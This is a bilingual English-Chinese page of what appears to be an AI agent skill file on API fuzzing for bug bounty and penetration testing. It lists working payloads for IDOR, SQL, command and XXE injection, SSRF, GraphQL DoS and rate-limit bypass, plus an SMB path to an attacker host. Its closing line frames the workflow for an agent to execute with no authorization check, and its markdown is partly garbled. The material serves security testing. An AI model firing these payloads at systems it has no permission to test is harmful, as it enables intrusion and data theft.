api-fuzzing-bug-bounty

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

API Fuzzing for Bug Bounty

漏洞众测中的API模糊测试

Purpose

目的

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

为漏洞众测和渗透测试场景下的REST、SOAP和GraphQL API提供全面的测试技术，涵盖漏洞发现、身份认证绕过、IDOR漏洞利用以及API专属攻击向量。

Inputs/Prerequisites

输入/前置条件

Burp Suite or similar proxy tool
API wordlists (SecLists, api_wordlist)
Understanding of REST/GraphQL/SOAP protocols
Python for scripting
Target API endpoints and documentation (if available)

Burp Suite或类似代理工具
API字典列表（SecLists、api_wordlist）
了解REST/GraphQL/SOAP协议
Python脚本编写能力
目标API端点及文档（如有）

Outputs/Deliverables

输出/交付物

Identified API vulnerabilities
IDOR exploitation proofs
Authentication bypass techniques
SQL injection points
Unauthorized data access documentation

已识别的API漏洞
IDOR漏洞利用证明
身份认证绕过技术
SQL注入点
未授权数据访问文档

API Types Overview

API类型概述

Type	Protocol	Data Format	Structure
SOAP	HTTP	XML	Header + Body
REST	HTTP	JSON/XML/URL	Defined endpoints
GraphQL	HTTP	Custom Query	Single endpoint

类型	协议	数据格式	结构
SOAP	HTTP	XML	头部 + 主体
REST	HTTP	JSON/XML/URL	已定义端点
GraphQL	HTTP	自定义查询	单一端点

Core Workflow

核心工作流程

Step 1: API Reconnaissance

步骤1：API侦察

Identify API type and enumerate endpoints:

bash

undefined

识别API类型并枚举端点：

bash

undefined

Check for Swagger/OpenAPI documentation

检查Swagger/OpenAPI文档

/swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html

Use Kiterunner for API discovery

使用Kiterunner进行API发现

kr scan https://target.com -w routes-large.kite

Extract paths from Swagger

从Swagger中提取路径

python3 json2paths.py swagger.json

undefined

python3 json2paths.py swagger.json

undefined

Step 2: Authentication Testing

步骤2：身份认证测试

bash

undefined

bash

undefined

Test different login paths

测试不同登录路径

/api/mobile/login /api/v3/login /api/magic_link /api/admin/login

Check rate limiting on auth endpoints

检查认证端点的速率限制

If no rate limit → brute force possible

若无速率限制 → 可尝试暴力破解

Test mobile vs web API separately

分别测试移动端与Web端API

Don't assume same security controls

不要假设两者安全控制相同

undefined

undefined

Step 3: IDOR Testing

步骤3：IDOR测试

Insecure Direct Object Reference is the most common API vulnerability:

bash

undefined

不安全直接对象引用（IDOR）是最常见的API漏洞：

bash

undefined

Basic IDOR

基础IDOR测试

GET /api/users/1234 → GET /api/users/1235

Even if ID is email-based, try numeric

即使ID是基于邮箱的，也尝试数字形式

/?user_id=111 instead of /?user_id=user@mail.com

/?user_id=111 替代 /?user_id=user@mail.com

Test /me/orders vs /user/654321/orders

测试 /me/orders 与 /user/654321/orders


**IDOR Bypass Techniques:**

```bash


**IDOR绕过技术：**

```bash

Wrap ID in array

将ID包裹在数组中

{"id":111} → {"id":[111]}

JSON wrap

JSON嵌套包裹

{"id":111} → {"id":{"id":111}}

Send ID twice

重复发送ID参数

URL?id=<LEGIT>&id=<VICTIM>

Wildcard injection

通配符注入

{"user_id":"*"}

Parameter pollution

参数污染

/api/get_profile?user_id=<victim>&user_id=<legit> {"user_id":<legit_id>,"user_id":<victim_id>}

undefined

/api/get_profile?user_id=<victim>&user_id=<legit> {"user_id":<legit_id>,"user_id":<victim_id>}

undefined

Step 4: Injection Testing

步骤4：注入测试

SQL Injection in JSON:

json

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

bash

undefined

JSON中的SQL注入：

json

{"id":"56456"}                    → 正常
{"id":"56456 AND 1=1#"}           → 正常  
{"id":"56456 AND 1=2#"}           → 正常
{"id":"56456 AND 1=3#"}           → 错误（存在漏洞！）
{"id":"56456 AND sleep(15)#"}     → 延迟15秒

命令注入：

bash

undefined

Ruby on Rails

Ruby on Rails环境

?url=Kernel#open → ?url=|ls

Linux command injection

Linux命令注入

api.url.com/endpoint?name=file.txt;ls%20/


**XXE Injection:**

```xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

html

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

bash

undefined

api.url.com/endpoint?name=file.txt;ls%20/


**XXE注入：**

```xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

通过API实现SSRF：

html

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine漏洞：

bash

undefined

If .NET app uses Path.Combine(path_1, path_2)

如果.NET应用使用Path.Combine(path_1, path_2)

Test for path traversal

测试路径遍历

https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config https://example.org/download?filename=\\smb.dns.attacker.com\a.png

undefined

https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config https://example.org/download?filename=\\smb.dns.attacker.com\a.png

undefined

Step 5: Method Testing

步骤5：请求方法测试

bash

undefined

bash

undefined

Test all HTTP methods

测试所有HTTP方法

GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1

Switch content type

切换内容类型

Content-Type: application/json → application/xml

---

Content-Type: application/json → application/xml

---

GraphQL-Specific Testing

GraphQL专属测试

Introspection Query

自省查询

Fetch entire backend schema:

graphql

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

获取完整后端架构：

graphql

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL编码版本：

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

GraphQL IDOR测试

graphql

undefined

graphql

undefined

Try accessing other user IDs

尝试访问其他用户ID

query { user(id: "OTHER_USER_ID") { email password creditCard } }

undefined

query { user(id: "OTHER_USER_ID") { email password creditCard } }

undefined

GraphQL SQL/NoSQL Injection

GraphQL SQL/NoSQL注入

graphql

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

graphql

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

速率限制绕过（批量请求）

graphql

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

graphql

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

GraphQL拒绝服务（嵌套查询）

graphql

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

graphql

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

GraphQL XSS测试

bash

undefined

bash

undefined

XSS via GraphQL endpoint

通过GraphQL端点实现XSS

http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

URL-encoded XSS

URL编码后的XSS

http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

undefined

http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

undefined

GraphQL Tools

GraphQL工具

Tool	Purpose
GraphCrawler	Schema discovery
graphw00f	Fingerprinting
clairvoyance	Schema reconstruction
InQL	Burp extension
GraphQLmap	Exploitation

工具	用途
GraphCrawler	架构发现
graphw00f	指纹识别
clairvoyance	架构重构
InQL	Burp扩展插件
GraphQLmap	漏洞利用

Endpoint Bypass Techniques

端点绕过技术

When receiving 403/401, try these bypasses:

bash

undefined

当收到403/401响应时，尝试以下绕过方法：

bash

undefined

Original blocked request

原始被拦截请求

/api/v1/users/sensitivedata → 403

Bypass attempts

绕过尝试

/api/v1/users/sensitivedata.json /api/v1/users/sensitivedata? /api/v1/users/sensitivedata/ /api/v1/users/sensitivedata?? /api/v1/users/sensitivedata%20 /api/v1/users/sensitivedata%09 /api/v1/users/sensitivedata# /api/v1/users/sensitivedata&details /api/v1/users/..;/sensitivedata

---

---

Output Exploitation

输出结果利用

PDF Export Attacks

PDF导出攻击

html

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

html

<!-- 通过PDF导出实现本地文件包含（LFI） -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- 通过PDF导出实现SSRF -->
<object data="http://127.0.0.1:8443"/>

<!-- 端口扫描 -->
<img src="http://127.0.0.1:445"/>

<!-- IP泄露 -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

通过限制参数实现拒绝服务

bash

undefined

bash

undefined

Normal request

正常请求

/api/news?limit=100

DoS attempt

拒绝服务尝试

/api/news?limit=9999999999

---

/api/news?limit=9999999999

---

Common API Vulnerabilities Checklist

常见API漏洞检查清单

Vulnerability	Description
API Exposure	Unprotected endpoints exposed publicly
Misconfigured Caching	Sensitive data cached incorrectly
Exposed Tokens	API keys/tokens in responses or URLs
JWT Weaknesses	Weak signing, no expiration, algorithm confusion
IDOR / BOLA	Broken Object Level Authorization
Undocumented Endpoints	Hidden admin/debug endpoints
Different Versions	Security gaps in older API versions
Rate Limiting	Missing or bypassable rate limits
Race Conditions	TOCTOU vulnerabilities
XXE Injection	XML parser exploitation
Content Type Issues	Switching between JSON/XML
HTTP Method Tampering	GET→DELETE/PUT abuse

漏洞类型	描述
API暴露	未受保护的端点公开发布
缓存配置错误	敏感数据被错误缓存
令牌泄露	API密钥/令牌出现在响应或URL中
JWT缺陷	签名强度弱、无过期时间、算法混淆
IDOR / BOLA	对象级授权失效
未文档化端点	隐藏的管理员/调试端点
多版本差异	旧版API存在安全缺口
速率限制缺失	缺少可绕过的速率限制
竞争条件	时间检查与时间使用（TOCTOU）漏洞
XXE注入	XML解析器漏洞利用
内容类型问题	JSON与XML之间切换测试
HTTP方法篡改	GET→DELETE/PUT等方法滥用

Quick Reference

快速参考

Vulnerability	Test Payload	Risk
IDOR	Change user_id parameter	High
SQLi	`' OR 1=1--` in JSON	Critical
Command Injection	`; ls /`	Critical
XXE	DOCTYPE with ENTITY	High
SSRF	Internal IP in params	High
Rate Limit Bypass	Batch requests	Medium
Method Tampering	GET→DELETE	High

漏洞类型	测试载荷	风险等级
IDOR	修改user_id参数	高
SQL注入	JSON中传入 `' OR 1=1--`	严重
命令注入	`; ls /`	严重
XXE注入	包含ENTITY的DOCTYPE
SSRF	参数中传入内部IP	高
速率限制绕过	批量请求	中
请求方法篡改	GET→DELETE	高

Tools Reference

工具参考

Category	Tool	URL
API Fuzzing	Fuzzapi	github.com/Fuzzapi/fuzzapi
API Fuzzing	API-fuzzer	github.com/Fuzzapi/API-fuzzer
API Fuzzing	Astra	github.com/flipkart-incubator/Astra
API Security	apicheck	github.com/BBVA/apicheck
API Discovery	Kiterunner	github.com/assetnote/kiterunner
API Discovery	openapi_security_scanner	github.com/ngalongc/openapi_security_scanner
API Toolkit	APIKit	github.com/API-Security/APIKit
API Keys	API Guesser	api-guesser.netlify.app
GUID	GUID Guesser	gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQL	InQL	github.com/doyensec/inql
GraphQL	GraphCrawler	github.com/gsmith257-cyber/GraphCrawler
GraphQL	graphw00f	github.com/dolevf/graphw00f
GraphQL	clairvoyance	github.com/nikitastupin/clairvoyance
GraphQL	batchql	github.com/assetnote/batchql
GraphQL	graphql-cop	github.com/dolevf/graphql-cop
Wordlists	SecLists	github.com/danielmiessler/SecLists
Swagger Parser	Swagger-EZ	rhinosecuritylabs.github.io/Swagger-EZ
Swagger Routes	swagroutes	github.com/amalmurali47/swagroutes
API Mindmap	MindAPI	dsopas.github.io/MindAPI/play
JSON Paths	json2paths	github.com/s0md3v/dump/tree/master/json2paths

分类	工具	地址
API模糊测试	Fuzzapi	github.com/Fuzzapi/fuzzapi
API模糊测试	API-fuzzer	github.com/Fuzzapi/API-fuzzer
API模糊测试	Astra	github.com/flipkart-incubator/Astra
API安全	apicheck	github.com/BBVA/apicheck
API发现	Kiterunner	github.com/assetnote/kiterunner
API发现	openapi_security_scanner	github.com/ngalongc/openapi_security_scanner
API工具包	APIKit	github.com/API-Security/APIKit
API密钥	API Guesser	api-guesser.netlify.app
GUID	GUID Guesser	gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQL	InQL	github.com/doyensec/inql
GraphQL	GraphCrawler	github.com/gsmith257-cyber/GraphCrawler
GraphQL	graphw00f	github.com/dolevf/graphw00f
GraphQL	clairvoyance	github.com/nikitastupin/clairvoyance
GraphQL	batchql	github.com/assetnote/batchql
GraphQL	graphql-cop	github.com/dolevf/graphql-cop
字典列表	SecLists	github.com/danielmiessler/SecLists
Swagger解析器	Swagger-EZ	rhinosecuritylabs.github.io/Swagger-EZ
Swagger路由	swagroutes	github.com/amalmurali47/swagroutes
API思维导图	MindAPI	dsopas.github.io/MindAPI/play
JSON路径提取	json2paths	github.com/s0md3v/dump/tree/master/json2paths

Constraints

约束条件

Must:

Test mobile, web, and developer APIs separately
Check all API versions (/v1, /v2, /v3)
Validate both authenticated and unauthenticated access

Must Not:

Assume same security controls across API versions
Skip testing undocumented endpoints
Ignore rate limiting checks

Should:

Add
```
X-Requested-With: XMLHttpRequest
```
header to simulate frontend
Check archive.org for historical API endpoints
Test for race conditions on sensitive operations

必须：

分别测试移动端、Web端和开发者API
检查所有API版本（/v1、/v2、/v3）
验证已认证和未认证两种访问场景

禁止：

假设不同API版本的安全控制相同
跳过未文档化端点的测试
忽略速率限制检查

建议：

添加
```
X-Requested-With: XMLHttpRequest
```
头部以模拟前端请求
检查archive.org获取历史API端点
测试敏感操作的竞争条件

Examples

示例

Example 1: IDOR Exploitation

示例1：IDOR漏洞利用

bash

undefined

bash

undefined

Original request (own data)

原始请求（自身数据）

GET /api/v1/invoices/12345 Authorization: Bearer <token>

Modified request (other user's data)

修改后的请求（其他用户数据）

GET /api/v1/invoices/12346 Authorization: Bearer <token>

Response reveals other user's invoice data

响应返回其他用户的发票数据

undefined

undefined

Example 2: GraphQL Introspection

示例2：GraphQL自省查询

bash

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

bash

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

Troubleshooting

故障排除

Issue	Solution
API returns nothing	Add `X-Requested-With: XMLHttpRequest` header
401 on all endpoints	Try adding `?user_id=1` parameter
GraphQL introspection disabled	Use clairvoyance for schema reconstruction
Rate limited	Use IP rotation or batch requests
Can't find endpoints	Check Swagger, archive.org, JS files

问题	解决方案
API无返回内容	添加 `X-Requested-With: XMLHttpRequest` 头部
所有端点返回401	尝试添加 `?user_id=1` 参数
GraphQL自省被禁用	使用clairvoyance重构架构
被速率限制	使用IP轮换或批量请求
无法找到端点	检查Swagger、archive.org、JS文件

When to Use

使用场景

This skill is applicable to execute the workflow or actions described in the overview.

当需要执行概述中描述的工作流程或操作时，适用本技能。